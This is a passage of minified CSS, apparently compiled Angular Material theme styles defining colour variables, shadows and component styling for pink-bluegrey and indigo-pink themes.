.google-button{background-color:#f50057!important}.indigo-pink-theme .deluxe-membership{background:linear-gradient(90deg,#3f51b5 0%,white 100%)}.indigo-pink-theme .overlay{background:rgba(48,63,159,.7)}.pink-bluegrey-theme{--theme-primary: #c2185b;--theme-primary-lighter: #dd1b68;--theme-primary-light: #e42973;--theme-primary-darker: #a7154e;--theme-primary-dark: #951246;--theme-primary-fade-10: rgba(194, 24, 91, .9);--theme-primary-fade-20: rgba(194, 24, 91, .8);--theme-primary-fade-30: rgba(194, 24, 91, .7);--theme-primary-fade-40: rgba(194, 24, 91, .6);--theme-primary-fade-50: rgba(194, 24, 91, .5);--theme-accent: #b0bec5;--theme-accent-lighter: #c2cdd2;--theme-accent-light: #cdd6db;--theme-accent-darker: #9eafb8;--theme-accent-dark: #93a6af;--theme-accent-fade-10: rgba(176, 190, 197, .9);--theme-accent-fade-20: rgba(176, 190, 197, .8);--theme-accent-fade-30: rgba(176, 190, 197, .7);--theme-accent-fade-40: rgba(176, 190, 197, .6);--theme-accent-fade-50: rgba(176, 190, 197, .5);--theme-warn: #f44336;--theme-warn-lighter: #f65e53;--theme-warn-light: #f77066;--theme-warn-darker: #f22819;--theme-warn-dark: #ea1c0d;--theme-warn-fade-10: rgba(244, 67, 54, .9);--theme-warn-fade-20: rgba(244, 67, 54, .8);--theme-warn-fade-30: rgba(244, 67, 54, .7);--theme-warn-fade-40: rgba(244, 67, 54, .6);--theme-warn-fade-50: rgba(244, 67, 54, .5);--theme-text: white;--theme-text-lighter: white;--theme-text-light: white;--theme-text-darker: #e6e6e6;--theme-text-dark: #bfbfbf;--theme-text-fade-10: rgba(255, 255, 255, .9);--theme-text-fade-20: rgba(255, 255, 255, .8);--theme-text-fade-30: rgba(255, 255, 255, .7);--theme-text-fade-40: rgba(255, 255, 255, .6);--theme-text-fade-50: rgba(255, 255, 255, .5);--theme-text-invert-15: #d9d9d9;--theme-text-invert-30: #b3b3b3;--theme-background: #424242;--theme-background-lighter: #515151;--theme-background-light: #5c5c5c;--theme-background-darker: #333333;--theme-background-dark: #292929;--theme-background-darkest: #1e1e1e}.pink-bluegrey-theme .mat-ripple-element{background-color:#ffffff1a}.pink-bluegrey-theme .mat-option{color:#fff}.pink-bluegrey-theme .mat-option:hover:not(.mat-option-disabled),.pink-bluegrey-theme .mat-option:focus:not(.mat-option-disabled){background:rgba(255,255,255,.04)}.pink-bluegrey-theme .mat-option.mat-selected:not(.mat-option-multiple):not(.mat-option-disabled){background:rgba(255,255,255,.04)}.pink-bluegrey-theme .mat-option.mat-active{background:rgba(255,255,255,.04);color:#fff}.pink-bluegrey-theme .mat-option.mat-option-disabled{color:#ffffff80}.pink-bluegrey-theme .mat-primary .mat-option.mat-selected:not(.mat-option-disabled){color:#c2185b}.pink-bluegrey-theme .mat-accent .mat-option.mat-selected:not(.mat-option-disabled){color:#b0bec5}.pink-bluegrey-theme .mat-warn .mat-option.mat-selected:not(.mat-option-disabled){color:#f44336}.pink-bluegrey-theme .mat-optgroup-label{color:#ffffffb3}.pink-bluegrey-theme .mat-optgroup-disabled .mat-optgroup-label{color:#ffffff80}.pink-bluegrey-theme .mat-pseudo-checkbox{color:#ffffffb3}.pink-bluegrey-theme .mat-pseudo-checkbox:after{color:#303030}.pink-bluegrey-theme .mat-pseudo-checkbox-disabled{color:#686868}.pink-bluegrey-theme .mat-primary .mat-pseudo-checkbox-checked,.pink-bluegrey-theme .mat-primary .mat-pseudo-checkbox-indeterminate{background:#c2185b}.pink-bluegrey-theme .mat-pseudo-checkbox-checked,.pink-bluegrey-theme .mat-pseudo-checkbox-indeterminate,.pink-bluegrey-theme .mat-accent .mat-pseudo-checkbox-checked,.pink-bluegrey-theme .mat-accent .mat-pseudo-checkbox-indeterminate{background:#b0bec5}.pink-bluegrey-theme .mat-warn .mat-pseudo-checkbox-checked,.pink-bluegrey-theme .mat-warn .mat-pseudo-checkbox-indeterminate{background:#f44336}.pink-bluegrey-theme .mat-pseudo-checkbox-checked.mat-pseudo-checkbox-disabled,.pink-bluegrey-theme .mat-pseudo-checkbox-indeterminate.mat-pseudo-checkbox-disabled{background:#686868}.pink-bluegrey-theme .mat-app-background,.pink-bluegrey-theme.mat-app-background{background-color:#303030;color:#fff}.pink-bluegrey-theme .mat-elevation-z0{box-shadow:0 0 #0003,0 0 #00000024,0 0 #0000001f}.pink-bluegrey-theme .mat-elevation-z1{box-shadow:0 2px 1px -1px #0003,0 1px 1px #00000024,0 1px 3px #0000001f}.pink-bluegrey-theme .mat-elevation-z2{box-shadow:0 3px 1px -2px #0003,0 2px 2px #00000024,0 1px 5px #0000001f}.pink-bluegrey-theme .mat-elevation-z3{box-shadow:0 3px 3px -2px #0003,0 3px 4px #00000024,0 1px 8px #0000001f}.pink-bluegrey-theme .mat-elevation-z4{box-shadow:0 2px 4px -1px #0003,0 4px 5px #00000024,0 1px 10px #0000001f}.pink-bluegrey-theme .mat-elevation-z5{box-shadow:0 3px 5px -1px #0003,0 5px 8px #00000024,0 1px 14px #0000001f}.pink-bluegrey-theme .mat-elevation-z6{box-shadow:0 3px 5px -1px #0003,0 6px 10px #00000024,0 1px 18px #0000001f}.pink-bluegrey-theme .mat-elevation-z7{box-shadow:0 4px 5px -2px #0003,0 7px 10px 1px #00000024,0 2px 16px 1px #0000001f}.pink-bluegrey-theme .mat-elevation-z8{box-shadow:0 5px 5px -3px #0003,0 8px 10px 1px #00000024,0 3px 14px 2px #0000001f}.pink-bluegrey-theme .mat-elevation-z9{box-shadow:0 5px 6px -3px #0003,0 9px 12px 1px #00000024,0 3px 16px 2px #0000001f}.pink-bluegrey-theme .mat-elevation-z10{box-shadow:0 6px 6px -3px #0003,0 10px 14px 1px #00000024,0 4px 18px 3px #0000001f}.pink-bluegrey-theme .mat-elevation-z11{box-shadow:0 6px 7px -4px #0003,0 11px 15px 1px #00000024,0 4px 20px 3px #0000001f}.pink-bluegrey-theme .mat-elevation-z12{box-shadow:0 7px 8px -4px #0003,0 12px 17px 2px #00000024,0 5px 22px 4px #0000001f}.pink-bluegrey-theme .mat-elevation-z13{box-shadow:0 7px 8px -4px #0003,0 13px 19px 2px #00000024,0 5px 24px 4px #0000001f}.pink-bluegrey-theme .mat-elevation-z14{box-shadow:0 7px 9px -4px #0003,0 14px 21px 2px #00000024,0 5px 26px 4px #0000001f}.pink-bluegrey-theme .mat-elevation-z15{box-shadow:0 8px 9px -5px #0003,0 15px 22px 2px #00000024,0 6px 28px 5px #0000001f}.pink-bluegrey-theme .mat-elevation-z16{box-shadow:0 8px 10px -5px #0003,0 16px 24px 2px #00000024,0 6px 30px 5px #0000001f}.pink-bluegrey-theme .mat-elevation-z17{box-shadow:0 8px 11px -5px #0003,0 17px 26px 2px #00000024,0 6px 32px 5px #0000001f}.pink-bluegrey-theme .mat-elevation-z18{box-shadow:0 9px 11px -5px #0003,0 18px 28px 2px #00000024,0 7px 34px 6px #0000001f}.pink-bluegrey-theme .mat-elevation-z19{box-shadow:0 9px 12px -6px #0003,0 19px 29px 2px #00000024,0 7px 36px 6px #0000001f}.pink-bluegrey-theme .mat-elevation-z20{box-shadow:0 10px 13px -6px #0003,0 20px 31px 3px #00000024,0 8px 38px 7px #0000001f}.pink-bluegrey-theme .mat-elevation-z21{box-shadow:0 10px 13px -6px #0003,0 21px 33px 3px #00000024,0 8px 40px 7px #0000001f}.pink-bluegrey-theme .mat-elevation-z22{box-shadow:0 10px 14px -6px #0003,0 22px 35px 3px #00000024,0 8px 42px 7px #0000001f}.pink-bluegrey-theme .mat-elevation-z23{box-shadow:0 11px 14px -7px #0003,0 23px 36px 3px #00000024,0 9px 44px 8px #0000001f}.pink-bluegrey-theme .mat-elevation-z24{box-shadow:0 11px 15px -7px #0003,0 24px 38px 3px #00000024,0 9px 46px 8px #0000001f}.pink-bluegrey-theme .mat-autocomplete-panel{background:#424242;color:#fff}.pink-bluegrey-theme .mat-autocomplete-panel:not([class*=mat-elevation-z]){box-shadow:0 2px 4px -1px #0003,0 4px 5px #00000024,0 1px 10px #0000001f}.pink-bluegrey-theme .mat-autocomplete-panel .mat-option.mat-selected:not(.mat-active):not(:hover){background:#424242}.pink-bluegrey-theme .mat-autocomplete-panel .mat-option.mat-selected:not(.mat-active):not(:hover):not(.mat-option-disabled){color:#fff}.pink-bluegrey-theme .mat-badge{position:relative}.pink-bluegrey-theme .mat-badge.mat-badge{overflow:visible}.pink-bluegrey-theme .mat-badge-hidden .mat-badge-content{display:none}.pink-bluegrey-theme .mat-badge-content{position:absolute;text-align:center;display:inline-block;border-radius:50%;transition:transform .2s ease-in-out;transform:scale(.6);overflow:hidden;white-space:nowrap;text-overflow:ellipsis;pointer-events:none}.pink-bluegrey-theme .ng-animate-disabled .mat-badge-content,.pink-bluegrey-theme .mat-badge-content._mat-animation-noopable{transition:none}.pink-bluegrey-theme .mat-badge-content.mat-badge-active{transform:none}.pink-bluegrey-theme .mat-badge-small .mat-badge-content{width:16px;height:16px;line-height:16px}.pink-bluegrey-theme .mat-badge-small.mat-badge-above .mat-badge-content{top:-8px}.pink-bluegrey-theme .mat-badge-small.mat-badge-below .mat-badge-content{bottom:-8px}.pink-bluegrey-theme .mat-badge-small.mat-badge-before .mat-badge-content{left:-16px}[dir=rtl] .pink-bluegrey-theme .mat-badge-small.mat-badge-before .mat-badge-content{left:auto;right:-16px}.pink-bluegrey-theme .mat-badge-small.mat-badge-after .mat-badge-content{right:-16px}[dir=rtl] .pink-bluegrey-theme .mat-badge-small.mat-badge-after .mat-badge-content{right:auto;left:-16px}.pink-bluegrey-theme .mat-badge-small.mat-badge-overlap.mat-badge-before .mat-badge-content{left:-8px}[dir=rtl] .pink-bluegrey-theme .mat-badge-small.mat-badge-overlap.mat-badge-before .mat-badge-content{left:auto;right:-8px}.pink-bluegrey-theme .mat-badge-small.mat-badge-overlap.mat-badge-after .mat-badge-content{right:-8px}[dir=rtl] .pink-bluegrey-theme .mat-badge-small.mat-badge-overlap.mat-badge-after .mat-badge-content{right:auto;left:-8px}.pink-bluegrey-theme .mat-badge-medium .mat-badge-content{width:22px;height:22px;line-height:22px}.pink-bluegrey-theme .mat-badge-medium.mat-badge-above .mat-badge-content{top:-11px}.pink-bluegrey-theme .mat-badge-medium.mat-badge-below .mat-badge-content{bottom:-11px}.pink-bluegrey-theme .mat-badge-medium.mat-badge-before .mat-badge-content{left:-22px}[dir=rtl] .pink-bluegrey-theme .mat-badge-medium.mat-badge-before .mat-badge-content{left:auto;right:-22px}.pink-bluegrey-theme .mat-badge-medium.mat-badge-after .mat-badge-content{right:-22px}[dir=rtl] .pink-bluegrey-theme .mat-badge-medium.mat-badge-after .mat-badge-content{right:auto;left:-22px}.pink-bluegrey-theme .mat-badge-medium.mat-badge-overlap.mat-badge-before .mat-badge-content{left:-11px}[dir=rtl] .pink-bluegrey-theme .mat-badge-medium.mat-badge-overlap.mat-badge-before .mat-badge-content{left:auto;right:-11px}.pink-bluegrey-theme .mat-badge-medium.mat-badge-overlap.mat-badge-after .mat-badge-content{right:-11px}[dir=rtl] .pink-bluegrey-theme .mat-badge-medium.mat-badge-overlap.mat-badge-after .mat-badge-content{right:auto;left:-11px}.pink-bluegrey-theme .mat-badge-large .mat-badge-content{width:28px;height:28px;line-height:28px}.pink-bluegrey-theme .mat-badge-large.mat-badge-above .mat-badge-content{top:-14px}.pink-bluegrey-theme .mat-badge-large.mat-badge-below .mat-badge-content{bottom:-14px}.pink-bluegrey-theme .mat-badge-large.mat-badge-before .mat-badge-content{left:-28px}[dir=rtl] .pink-bluegrey-theme .mat-badge-large.mat-badge-before .mat-badge-content{left:auto;right:-28px}.pink-bluegrey-theme .mat-badge-large.mat-badge-after .mat-badge-content{right:-28px}[dir=rtl] .pink-bluegrey-theme .mat-badge-large.mat-badge-after .mat-badge-content{right:auto;left:-28px}.pink-bluegrey-theme .mat-badge-large.mat-badge-overlap.mat-badge-before .mat-badge-content{left:-14px}[dir=rtl] .pink-bluegrey-theme .mat-badge-large.mat-badge-overlap.mat-badge-before .mat-badge-content{left:auto;right:-14px}.pink-bluegrey-theme .mat-badge-large.mat-badge-overlap.mat-badge-after .mat-badge-content{right:-14px}[dir=rtl] .pink-bluegrey-theme .mat-badge-large.mat-badge-overlap.mat-badge-after .mat-badge-content{right:auto;left:-14px}.pink-bluegrey-theme .mat-badge-content{color:#fff;background:#c2185b}.cdk-high-contrast-active .pink-bluegrey-theme .mat-badge-content{outline:solid 1px;border-radius:0}.pink-bluegrey-theme .mat-badge-accent .mat-badge-content{background:#b0bec5;color:#000000de}.pink-bluegrey-theme .mat-badge-warn .mat-badge-content{color:#fff;background:#f44336}.pink-bluegrey-theme .mat-badge-disabled .mat-badge-content{background:#6e6e6e;color:#ffffff80}.pink-bluegrey-theme .mat-bottom-sheet-container{box-shadow:0 8px 10px -5px #0003,0 16px 24px 2px #00000024,0 6px 30px 5px #0000001f;background:#424242;color:#fff}.pink-bluegrey-theme .mat-button,.pink-bluegrey-theme .mat-icon-button,.pink-bluegrey-theme .mat-stroked-button{color:inherit;background:transparent}.pink-bluegrey-theme .mat-button.mat-primary,.pink-bluegrey-theme .mat-icon-button.mat-primary,.pink-bluegrey-theme .mat-stroked-button.mat-primary{color:#c2185b}.pink-bluegrey-theme .mat-button.mat-accent,.pink-bluegrey-theme .mat-icon-button.mat-accent,.pink-bluegrey-theme .mat-stroked-button.mat-accent{color:#b0bec5}.pink-bluegrey-theme .mat-button.mat-warn,.pink-bluegrey-theme .mat-icon-button.mat-warn,.pink-bluegrey-theme .mat-stroked-button.mat-warn{color:#f44336}.pink-bluegrey-theme .mat-button.mat-primary.mat-button-disabled,.pink-bluegrey-theme .mat-button.mat-accent.mat-button-disabled,.pink-bluegrey-theme .mat-button.mat-warn.mat-button-disabled,.pink-bluegrey-theme .mat-button.mat-button-disabled.mat-button-disabled,.pink-bluegrey-theme .mat-icon-button.mat-primary.mat-button-disabled,.pink-bluegrey-theme .mat-icon-button.mat-accent.mat-button-disabled,.pink-bluegrey-theme .mat-icon-button.mat-warn.mat-button-disabled,.pink-bluegrey-theme .mat-icon-button.mat-button-disabled.mat-button-disabled,.pink-bluegrey-theme .mat-stroked-button.mat-primary.mat-button-disabled,.pink-bluegrey-theme .mat-stroked-button.mat-accent.mat-button-disabled,.pink-bluegrey-theme .mat-stroked-button.mat-warn.mat-button-disabled,.pink-bluegrey-theme .mat-stroked-button.mat-button-disabled.mat-button-disabled{color:#ffffff4d}.pink-bluegrey-theme .mat-button.mat-primary .mat-button-focus-overlay,.pink-bluegrey-theme .mat-icon-button.mat-primary .mat-button-focus-overlay,.pink-bluegrey-theme .mat-stroked-button.mat-primary .mat-button-focus-overlay{background-color:#c2185b}.pink-bluegrey-theme .mat-button.mat-accent .mat-button-focus-overlay,.pink-bluegrey-theme .mat-icon-button.mat-accent .mat-button-focus-overlay,.pink-bluegrey-theme .mat-stroked-button.mat-accent .mat-button-focus-overlay{background-color:#b0bec5}.pink-bluegrey-theme .mat-button.mat-warn .mat-button-focus-overlay,.pink-bluegrey-theme .mat-icon-button.mat-warn .mat-button-focus-overlay,.pink-bluegrey-theme .mat-stroked-button.mat-warn .mat-button-focus-overlay{background-color:#f44336}.pink-bluegrey-theme .mat-button.mat-button-disabled .mat-button-focus-overlay,.pink-bluegrey-theme .mat-icon-button.mat-button-disabled .mat-button-focus-overlay,.pink-bluegrey-theme .mat-stroked-button.mat-button-disabled .mat-button-focus-overlay{background-color:transparent}.pink-bluegrey-theme .mat-button .mat-ripple-element,.pink-bluegrey-theme .mat-icon-button .mat-ripple-element,.pink-bluegrey-theme .mat-stroked-button .mat-ripple-element{opacity:.1;background-color:currentColor}.pink-bluegrey-theme .mat-button-focus-overlay{background:white}.pink-bluegrey-theme .mat-stroked-button:not(.mat-button-disabled){border-color:#ffffff1f}.pink-bluegrey-theme .mat-flat-button,.pink-bluegrey-theme .mat-raised-button,.pink-bluegrey-theme .mat-fab,.pink-bluegrey-theme .mat-mini-fab{color:#fff;background-color:#424242}.pink-bluegrey-theme .mat-flat-button.mat-primary,.pink-bluegrey-theme .mat-raised-button.mat-primary,.pink-bluegrey-theme .mat-fab.mat-primary,.pink-bluegrey-theme .mat-mini-fab.mat-primary{color:#fff}.pink-bluegrey-theme .mat-flat-button.mat-accent,.pink-bluegrey-theme .mat-raised-button.mat-accent,.pink-bluegrey-theme .mat-fab.mat-accent,.pink-bluegrey-theme .mat-mini-fab.mat-accent{color:#000000de}.pink-bluegrey-theme .mat-flat-button.mat-warn,.pink-bluegrey-theme .mat-raised-button.mat-warn,.pink-bluegrey-theme .mat-fab.mat-warn,.pink-bluegrey-theme .mat-mini-fab.mat-warn{color:#fff}.pink-bluegrey-theme .mat-flat-button.mat-primary.mat-button-disabled,.pink-bluegrey-theme .mat-flat-button.mat-accent.mat-button-disabled,.pink-bluegrey-theme .mat-flat-button.mat-warn.mat-button-disabled,.pink-bluegrey-theme .mat-flat-button.mat-button-disabled.mat-button-disabled,.pink-bluegrey-theme .mat-raised-button.mat-primary.mat-button-disabled,.pink-bluegrey-theme .mat-raised-button.mat-accent.mat-button-disabled,.pink-bluegrey-theme .mat-raised-button.mat-warn.mat-button-disabled,.pink-bluegrey-theme .mat-raised-button.mat-button-disabled.mat-button-disabled,.pink-bluegrey-theme .mat-fab.mat-primary.mat-button-disabled,.pink-bluegrey-theme .mat-fab.mat-accent.mat-button-disabled,.pink-bluegrey-theme .mat-fab.mat-warn.mat-button-disabled,.pink-bluegrey-theme .mat-fab.mat-button-disabled.mat-button-disabled,.pink-bluegrey-theme .mat-mini-fab.mat-primary.mat-button-disabled,.pink-bluegrey-theme .mat-mini-fab.mat-accent.mat-button-disabled,.pink-bluegrey-theme .mat-mini-fab.mat-warn.mat-button-disabled,.pink-bluegrey-theme .mat-mini-fab.mat-button-disabled.mat-button-disabled{color:#ffffff4d}.pink-bluegrey-theme .mat-flat-button.mat-primary,.pink-bluegrey-theme .mat-raised-button.mat-primary,.pink-bluegrey-theme .mat-fab.mat-primary,.pink-bluegrey-theme .mat-mini-fab.mat-primary{background-color:#c2185b}.pink-bluegrey-theme .mat-flat-button.mat-accent,.pink-bluegrey-theme .mat-raised-button.mat-accent,.pink-bluegrey-theme .mat-fab.mat-accent,.pink-bluegrey-theme .mat-mini-fab.mat-accent{background-color:#b0bec5}.pink-bluegrey-theme .mat-flat-button.mat-warn,.pink-bluegrey-theme .mat-raised-button.mat-warn,.pink-bluegrey-theme .mat-fab.mat-warn,.pink-bluegrey-theme .mat-mini-fab.mat-warn{background-color:#f44336}.pink-bluegrey-theme .mat-flat-button.mat-primary.mat-button-disabled,.pink-bluegrey-theme .mat-flat-button.mat-accent.mat-button-disabled,.pink-bluegrey-theme .mat-flat-button.mat-warn.mat-button-disabled,.pink-bluegrey-theme .mat-flat-button.mat-button-disabled.mat-button-disabled,.pink-bluegrey-theme .mat-raised-button.mat-primary.mat-button-disabled,.pink-bluegrey-theme .mat-raised-button.mat-accent.mat-button-disabled,.pink-bluegrey-theme .mat-raised-button.mat-warn.mat-button-disabled,.pink-bluegrey-theme .mat-raised-button.mat-button-disabled.mat-button-disabled,.pink-bluegrey-theme .mat-fab.mat-primary.mat-button-disabled,.pink-bluegrey-theme .mat-fab.mat-accent.mat-button-disabled,.pink-bluegrey-theme .mat-fab.mat-warn.mat-button-disabled,.pink-bluegrey-theme .mat-fab.mat-button-disabled.mat-button-disabled,.pink-bluegrey-theme .mat-mini-fab.mat-primary.mat-button-disabled,.pink-bluegrey-theme .mat-mini-fab.mat-accent.mat-button-disabled,.pink-bluegrey-theme .mat-mini-fab.mat-warn.mat-button-disabled,.pink-bluegrey-theme .mat-mini-fab.mat-button-disabled.mat-button-disabled{background-color:#ffffff1f}.pink-bluegrey-theme .mat-flat-button.mat-primary .mat-ripple-element,.pink-bluegrey-theme .mat-raised-button.mat-primary .mat-ripple-element,.pink-bluegrey-theme .mat-fab.mat-primary .mat-ripple-element,.pink-bluegrey-theme .mat-mini-fab.mat-primary .mat-ripple-element{background-color:#ffffff1a}.pink-bluegrey-theme .mat-flat-button.mat-accent .mat-ripple-element,.pink-bluegrey-theme .mat-raised-button.mat-accent .mat-ripple-element,.pink-bluegrey-theme .mat-fab.mat-accent .mat-ripple-element,.pink-bluegrey-theme .mat-mini-fab.mat-accent .mat-ripple-element{background-color:#0000001a}.pink-bluegrey-theme .mat-flat-button.mat-warn .mat-ripple-element,.pink-bluegrey-theme .mat-raised-button.mat-warn .mat-ripple-element,.pink-bluegrey-theme .mat-fab.mat-warn .mat-ripple-element,.pink-bluegrey-theme .mat-mini-fab.mat-warn .mat-ripple-element{background-color:#ffffff1a}.pink-bluegrey-theme .mat-stroked-button:not([class*=mat-elevation-z]),.pink-bluegrey-theme .mat-flat-button:not([class*=mat-elevation-z]){box-shadow:0 0 #0003,0 0 #00000024,0 0 #0000001f}.pink-bluegrey-theme .mat-raised-button:not([class*=mat-elevation-z]){box-shadow:0 3px 1px -2px #0003,0 2px 2px #00000024,0 1px 5px #0000001f}.pink-bluegrey-theme .mat-raised-button:not(.mat-button-disabled):active:not([class*=mat-elevation-z]){box-shadow:0 5px 5px -3px #0003,0 8px 10px 1px #00000024,0 3px 14px 2px #0000001f}.pink-bluegrey-theme .mat-raised-button.mat-button-disabled:not([class*=mat-elevation-z]){box-shadow:0 0 #0003,0 0 #00000024,0 0 #0000001f}.pink-bluegrey-theme .mat-fab:not([class*=mat-elevation-z]),.pink-bluegrey-theme .mat-mini-fab:not([class*=mat-elevation-z]){box-shadow:0 3px 5px -1px #0003,0 6px 10px #00000024,0 1px 18px #0000001f}.pink-bluegrey-theme .mat-fab:not(.mat-button-disabled):active:not([class*=mat-elevation-z]),.pink-bluegrey-theme .mat-mini-fab:not(.mat-button-disabled):active:not([class*=mat-elevation-z]){box-shadow:0 7px 8px -4px #0003,0 12px 17px 2px #00000024,0 5px 22px 4px #0000001f}.pink-bluegrey-theme .mat-fab.mat-button-disabled:not([class*=mat-elevation-z]),.pink-bluegrey-theme .mat-mini-fab.mat-button-disabled:not([class*=mat-elevation-z]){box-shadow:0 0 #0003,0 0 #00000024,0 0 #0000001f}.pink-bluegrey-theme .mat-button-toggle-standalone:not([class*=mat-elevation-z]),.pink-bluegrey-theme .mat-button-toggle-group:not([class*=mat-elevation-z]){box-shadow:0 3px 1px -2px #0003,0 2px 2px #00000024,0 1px 5px #0000001f}.pink-bluegrey-theme .mat-button-toggle-standalone.mat-button-toggle-appearance-standard:not([class*=mat-elevation-z]),.pink-bluegrey-theme .mat-button-toggle-group-appearance-standard:not([class*=mat-elevation-z]){box-shadow:none}.pink-bluegrey-theme .mat-button-toggle{color:#ffffff80}.pink-bluegrey-theme .mat-button-toggle .mat-button-toggle-focus-overlay{background-color:#ffffff1f}.pink-bluegrey-theme .mat-button-toggle-appearance-standard{color:#fff;background:#424242}.pink-bluegrey-theme .mat-button-toggle-appearance-standard .mat-button-toggle-focus-overlay{background-color:#fff}.pink-bluegrey-theme .mat-button-toggle-group-appearance-standard .mat-button-toggle+.mat-button-toggle{border-left:solid 1px #595959}.pink-bluegrey-theme [dir=rtl] .mat-button-toggle-group-appearance-standard .mat-button-toggle+.mat-button-toggle{border-left:none;border-right:solid 1px #595959}.pink-bluegrey-theme .mat-button-toggle-group-appearance-standard.mat-button-toggle-vertical .mat-button-toggle+.mat-button-toggle{border-left:none;border-right:none;border-top:solid 1px #595959}.pink-bluegrey-theme .mat-button-toggle-checked{background-color:#212121;color:#ffffffb3}.pink-bluegrey-theme .mat-button-toggle-checked.mat-button-toggle-appearance-standard{color:#fff}.pink-bluegrey-theme .mat-button-toggle-disabled{color:#ffffff4d;background-color:#000}.pink-bluegrey-theme .mat-button-toggle-disabled.mat-button-toggle-appearance-standard{background:#424242}.pink-bluegrey-theme .mat-button-toggle-disabled.mat-button-toggle-checked{background-color:#424242}.pink-bluegrey-theme .mat-button-toggle-standalone.mat-button-toggle-appearance-standard,.pink-bluegrey-theme .mat-button-toggle-group-appearance-standard{border:solid 1px #595959}.pink-bluegrey-theme .mat-card{background:#424242;color:#fff}.pink-bluegrey-theme .mat-card:not([class*=mat-elevation-z]){box-shadow:0 2px 1px -1px #0003,0 1px 1px #00000024,0 1px 3px #0000001f}.pink-bluegrey-theme .mat-card.mat-card-flat:not([class*=mat-elevation-z]){box-shadow:0 0 #0003,0 0 #00000024,0 0 #0000001f}.pink-bluegrey-theme .mat-card-subtitle{color:#ffffffb3}.pink-bluegrey-theme .mat-checkbox-frame{border-color:#ffffffb3}.pink-bluegrey-theme .mat-checkbox-checkmark{fill:#303030}.pink-bluegrey-theme .mat-checkbox-checkmark-path{stroke:#303030!important}.pink-bluegrey-theme .mat-checkbox-mixedmark{background-color:#303030}.pink-bluegrey-theme .mat-checkbox-indeterminate.mat-primary .mat-checkbox-background,.pink-bluegrey-theme .mat-checkbox-checked.mat-primary .mat-checkbox-background{background-color:#c2185b}.pink-bluegrey-theme .mat-checkbox-indeterminate.mat-accent .mat-checkbox-background,.pink-bluegrey-theme .mat-checkbox-checked.mat-accent .mat-checkbox-background{background-color:#b0bec5}.pink-bluegrey-theme .mat-checkbox-indeterminate.mat-warn .mat-checkbox-background,.pink-bluegrey-theme .mat-checkbox-checked.mat-warn .mat-checkbox-background{background-color:#f44336}.pink-bluegrey-theme .mat-checkbox-disabled.mat-checkbox-checked .mat-checkbox-background,.pink-bluegrey-theme .mat-checkbox-disabled.mat-checkbox-indeterminate .mat-checkbox-background{background-color:#686868}.pink-bluegrey-theme .mat-checkbox-disabled:not(.mat-checkbox-checked) .mat-checkbox-frame{border-color:#686868}.pink-bluegrey-theme .mat-checkbox-disabled .mat-checkbox-label{color:#ffffff80}.pink-bluegrey-theme .mat-checkbox .mat-ripple-element{background-color:#fff}.pink-bluegrey-theme .mat-checkbox-checked:not(.mat-checkbox-disabled).mat-primary .mat-ripple-element,.pink-bluegrey-theme .mat-checkbox:active:not(.mat-checkbox-disabled).mat-primary .mat-ripple-element{background:#c2185b}.pink-bluegrey-theme .mat-checkbox-checked:not(.mat-checkbox-disabled).mat-accent .mat-ripple-element,.pink-bluegrey-theme .mat-checkbox:active:not(.mat-checkbox-disabled).mat-accent .mat-ripple-element{background:#b0bec5}.pink-bluegrey-theme .mat-checkbox-checked:not(.mat-checkbox-disabled).mat-warn .mat-ripple-element,.pink-bluegrey-theme .mat-checkbox:active:not(.mat-checkbox-disabled).mat-warn .mat-ripple-element{background:#f44336}.pink-bluegrey-theme .mat-chip.mat-standard-chip{background-color:#616161;color:#fff}.pink-bluegrey-theme .mat-chip.mat-standard-chip .mat-chip-remove{color:#fff;opacity:.4}.pink-bluegrey-theme .mat-chip.mat-standard-chip:not(.mat-chip-disabled):active{box-shadow:0 3px 3px -2px #0003,0 3px 4px #00000024,0 1px 8px #0000001f}.pink-bluegrey-theme .mat-chip.mat-standard-chip:not(.mat-chip-disabled) .mat-chip-remove:hover{opacity:.54}.pink-bluegrey-theme .mat-chip.mat-standard-chip.mat-chip-disabled{opacity:.4}.pink-bluegrey-theme .mat-chip.mat-standard-chip:after{background:white}.pink-bluegrey-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-primary{background-color:#c2185b;color:#fff}.pink-bluegrey-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-primary .mat-chip-remove{color:#fff;opacity:.4}.pink-bluegrey-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-primary .mat-ripple-element{background-color:#ffffff1a}.pink-bluegrey-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-warn{background-color:#f44336;color:#fff}.pink-bluegrey-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-warn .mat-chip-remove{color:#fff;opacity:.4}.pink-bluegrey-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-warn .mat-ripple-element{background-color:#ffffff1a}.pink-bluegrey-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-accent{background-color:#b0bec5;color:#000000de}.pink-bluegrey-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-accent .mat-chip-remove{color:#000000de;opacity:.4}.pink-bluegrey-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-accent .mat-ripple-element{background-color:#0000001a}.pink-bluegrey-theme .mat-table{background:#424242}.pink-bluegrey-theme .mat-table thead,.pink-bluegrey-theme .mat-table tbody,.pink-bluegrey-theme .mat-table tfoot,.pink-bluegrey-theme mat-header-row,.pink-bluegrey-theme mat-row,.pink-bluegrey-theme mat-footer-row,.pink-bluegrey-theme [mat-header-row],.pink-bluegrey-theme [mat-row],.pink-bluegrey-theme [mat-footer-row],.pink-bluegrey-theme .mat-table-sticky{background:inherit}.pink-bluegrey-theme mat-row,.pink-bluegrey-theme mat-header-row,.pink-bluegrey-theme mat-footer-row,.pink-bluegrey-theme th.mat-header-cell,.pink-bluegrey-theme td.mat-cell,.pink-bluegrey-theme td.mat-footer-cell{border-bottom-color:#ffffff1f}.pink-bluegrey-theme .mat-header-cell{color:#ffffffb3}.pink-bluegrey-theme .mat-cell,.pink-bluegrey-theme .mat-footer-cell{color:#fff}.pink-bluegrey-theme .mat-calendar-arrow{fill:#fff}.pink-bluegrey-theme .mat-datepicker-toggle,.pink-bluegrey-theme .mat-datepicker-content .mat-calendar-next-button,.pink-bluegrey-theme .mat-datepicker-content .mat-calendar-previous-button{color:#fff}.pink-bluegrey-theme .mat-calendar-table-header-divider:after{background:rgba(255,255,255,.12)}.pink-bluegrey-theme .mat-calendar-table-header,.pink-bluegrey-theme .mat-calendar-body-label{color:#ffffffb3}.pink-bluegrey-theme .mat-calendar-body-cell-content,.pink-bluegrey-theme .mat-date-range-input-separator{color:#fff;border-color:transparent}.pink-bluegrey-theme 